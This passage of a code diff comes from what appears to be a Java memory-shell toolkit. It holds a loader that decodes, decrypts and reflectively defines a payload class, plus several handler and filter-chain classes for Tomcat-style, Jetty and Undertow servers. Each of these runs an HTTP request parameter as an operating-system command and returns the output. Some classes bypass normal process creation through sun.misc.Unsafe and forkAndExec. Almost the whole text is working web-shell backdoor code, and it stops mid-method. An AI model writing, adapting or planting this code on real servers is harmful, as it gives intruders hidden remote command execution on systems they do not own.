Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
byte[] bytes = c.doFinal(data);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(obj);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/15
|
||||
*/
|
||||
public class Command {
|
||||
public static String paramName;
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object request = unwrapRequest(args[0]);
|
||||
Object response = unwrapResponse(args[1]);
|
||||
try {
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public InputStream getInputStream(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(request, "request");
|
||||
if (r == internalRequest) {
|
||||
return r;
|
||||
} else {
|
||||
internalRequest = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalRequest;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
-36
@@ -1,36 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandFilterChainAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String paramName = "paramName";
|
||||
try {
|
||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-181
@@ -1,181 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
private final Type[] argumentTypes;
|
||||
|
||||
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argumentTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
int startIndex = 1;
|
||||
for (Type type : argumentTypes) {
|
||||
startIndex += type.getSize();
|
||||
}
|
||||
|
||||
// Explicitly define indices for all local variables
|
||||
int paramNameIndex = startIndex;
|
||||
int cmdIndex = startIndex + 1;
|
||||
int processIndex = startIndex + 2;
|
||||
int inputStreamIndex = startIndex + 3;
|
||||
int outputStreamIndex = startIndex + 4;
|
||||
int bufferIndex = startIndex + 5;
|
||||
int lengthIndex = startIndex + 6;
|
||||
int exceptionIndex = startIndex + 7;
|
||||
|
||||
// Access method arguments - adjust based on whether method is static or not
|
||||
int requestIndex = 1; // Arg index 1
|
||||
int responseIndex = 2; // Arg index 2
|
||||
|
||||
// Define our parameter name
|
||||
mv.visitLdcInsn("paramName");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" in local var 3
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
|
||||
// Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
// Get the parameter from request: request.getParameter(paramName)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke the getParameter method
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
|
||||
|
||||
// Check if cmd is not null
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
|
||||
"()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); // Load cmd
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
|
||||
"(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process in local var 5
|
||||
|
||||
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
|
||||
"()Ljava/io/InputStream;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream in local var 6
|
||||
|
||||
// Get response output stream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response (second param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getOutputStream");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream in local var 7
|
||||
|
||||
// Create buffer: byte[] buf = new byte[8192];
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] in local var 8
|
||||
|
||||
// While loop to read and write data
|
||||
Label loopStart = new Label();
|
||||
Label loopEnd = new Label();
|
||||
|
||||
// Start of loop
|
||||
mv.visitLabel(loopStart);
|
||||
|
||||
// Read data: inputStream.read(buf)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
|
||||
"([B)I", false);
|
||||
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length in local var 9
|
||||
|
||||
// Check if length == -1
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_M1);
|
||||
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||
|
||||
// Write data: outputStream.write(buf, 0, length)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
|
||||
"([BII)V", false);
|
||||
|
||||
// Go back to start of loop
|
||||
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
|
||||
|
||||
// End of loop
|
||||
mv.visitLabel(loopEnd);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// If cmd is null, continue with original method
|
||||
mv.visitLabel(ifNullLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
|
||||
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
}
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/15
|
||||
*/
|
||||
public class CommandJettyHandler {
|
||||
public static String paramName;
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object baseRequest = null;
|
||||
Object request = null;
|
||||
Object response = null;
|
||||
if (args.length == 4) {
|
||||
Object arg4 = args[3];
|
||||
baseRequest = args[1];
|
||||
if (arg4 instanceof Integer) {
|
||||
// jetty6
|
||||
request = args[1];
|
||||
response = args[2];
|
||||
} else {
|
||||
request = args[2];
|
||||
response = args[3];
|
||||
}
|
||||
} else {
|
||||
// ee10
|
||||
request = args[0];
|
||||
response = args[1];
|
||||
}
|
||||
try {
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
+149
@@ -0,0 +1,149 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/15
|
||||
*/
|
||||
public class CommandUndertowServletHandler {
|
||||
public static String paramName;
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
-38
@@ -1,38 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command.jetty;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String paramName = "paramName";
|
||||
try {
|
||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (cmd != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
